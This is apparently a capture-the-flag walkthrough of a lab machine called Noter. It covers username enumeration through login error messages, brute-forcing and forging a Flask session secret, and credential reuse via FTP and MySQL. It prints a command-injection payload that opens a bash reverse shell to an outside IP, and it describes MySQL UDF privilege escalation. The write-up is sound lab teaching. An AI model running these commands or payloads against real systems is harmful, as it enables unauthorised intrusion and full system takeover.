Noter was a medium rated machine which involved user enumeration through login error messages which lead lead to modifying the flask session by brute forcing the secret key with flask-unsign
allowing us to login, from the dashboard we can get credentials of ftp giving us access to the source code of the application and credentials of mysql, which showed that it was using a node module md-to-pdf
vulnerable to code execution giving us a shell as svc
, from the credentials of mysql we can login as root and can escalate our privileges through user defined functions (UDF).
NMAP
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
5000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10)
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET
|_http-title: Noter
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
PORT 5000 (HTTP)
On this page we can see an option to see notes but this required a authorized user, I tried to use default admin password admin:admin
which didn't worked. Also tried doing a basic sqli admin' or 1=1 --
which failed as well
We do have an option to register an account so let’s do that
After logging in we can add notes and also there’s an option for upgrading to VIP
But this option wasn’t available
So moving on to adding notes, I tried testing for xss which failed
Checking the session cookie, it was a flask session as it can be decoded using flask-unsign
which tells that it's a flask application
Maybe there’s SSTI in notes, we can check that too because most of the flask apps are vulnerable to SSTI
This didn’t worked as well, so I went with fuzzing for files and directories using dirsearch
Foothold
There wasn’t really interesting, looking back at the flask session maybe we can modify it to get a user’s session but for that there are two things we need a valid username which should have admin privileges or should get us somewhere and a flask secret with which we can forge flask session
We can fuzz for usernames and to do that we need to do some filtering with the responses
For the existing username we get an error message “Invalid login”
And for a user which doesn’t exist we get “Invalid credentials” so with the help of error messages we can do user enumeration
Let’s first identify POST parameters
I added ARZ
which is a valid user and admin
which doesn't exist and looking at the response of characters we can try to filter for characters below 2030
which might give us a username
wfuzz -c -w /opt/SecLists/Usernames/xato-net-10-million-usernames-dup.txt -u 'http://10.10.11.16
0:5000/login' -d 'username=FUZZ&password=1' --hh 2029,2030,2031,2032,2033,2034,2035,2036
So it started to show me responses with less characters but still I wasn’t sure of which ones could be a username so this method isn’t effective even tho we can see a username blue
with the same exact characters so this might be the username we are looking but we can do this effectively with a tool called patator
https://github.com/lanjelot/patator
python3 patator.py http_fuzz 'url=http://10.10.11.160:5000/login' method=POST body='username=FILE0&password=a' 0=/opt/SecLists/Usernames/xato-net-10-million-usernames-dup.txt -x ignore:fgrep='Invalid credentials'
The syntax is a little harder but it’s an awesome tool to fuzz with error messages
Which gives the same user blue
and if check on the login page to see if this user exists
We get the message “Invalid login”, now we just need the secret in order to modify the flask session
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/flask
Visiting hacktricks, we can brute force secret with flask-unsign
Using rockyou.txt
to brute force secret didn't work so I had to install the wordlist for flask secret
flask-unsign --unsign --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiQVJaIn0.Ynkvhw.C69zkNUyfYjmYN0e08l6EmWAh1U'
And we got the secret which is secret123
, now we need to sign in having the username blue
flask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret 'secret123'
After replacing the flask session we’ll be able to login as blue
And in notes we’ll be able to a password for ftp user blue : blue@Noter!
Reading the pdf file, we’ll get another password username@site_name!
so this must be for the ftp_admin
which would be ftp_admin@Noter!
Downloading these backup archives, we get two versions of the source code, the one from the backup 1638395546
is having the source code for exporting notes
Un-Intended Method
And it’s running a command to run a node js module passing the contents of markdown file to convert it to pdf which is then executing a shell command with subprocess.run
which is vulnerable to command injection
I created a markdown file having a bash reverse shell, now let’s try importing it
After exporting the markdown file we’ll get this error but at our netcat listener we’ll get a connection but it will just close after connecting
To escape the single quote from $'{r.text.strip()}'
we need to use '
before our reverse shell and use either pipe |
or semicolon ;
to execute the reverse shell command at the end we'll specify #
' ;/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.51/2222 0>&1'
Stabilizing the shell with python3
I didn’t find any thing in user’s directory or having seeing anything with sudo -l
so transferred pspy
to monitor background processes
We can also see how that single quote escape worked
Intended Method
From the node command being executed, it’s a module called md-to-pdf
This was vulnerable to rce and following the poc we need to create a md file having this content
This payload will download our bash reverse shell and execute it by piping it to bash
From the backup of 1635803546
archive, we previously found credentials for mysql so let's test if these work
Privilege Escalation
From Here we can escalate our privileges through Mysql user defined functions
First we need to compile the source code
Now to create a shared library
After this we need to locate where the plugins are stored and create a table in mysql
database which will have an entry for the exploit which will help us in loading it in mysql plugins, create a user defined function which will run system commands using that shared library
Plugins directory is /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
Switching to mysql database
Creating a table named foo
and inserting the shared library
From the table, loading the plugin
Creating the function do_system
And now just using the function to get a reverse shell
References
- https://github.com/lanjelot/patator
- https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/flask
- https://pypi.org/project/flask-unsign-wordlist/
- https://medium.com/r3d-buck3t/privilege-escalation-with-mysql-user-defined-functions-996ef7d5ceaf
- https://www.exploit-db.com/exploits/50236
- https://github.com/simonhaenisch/md-to-pdf/issues/99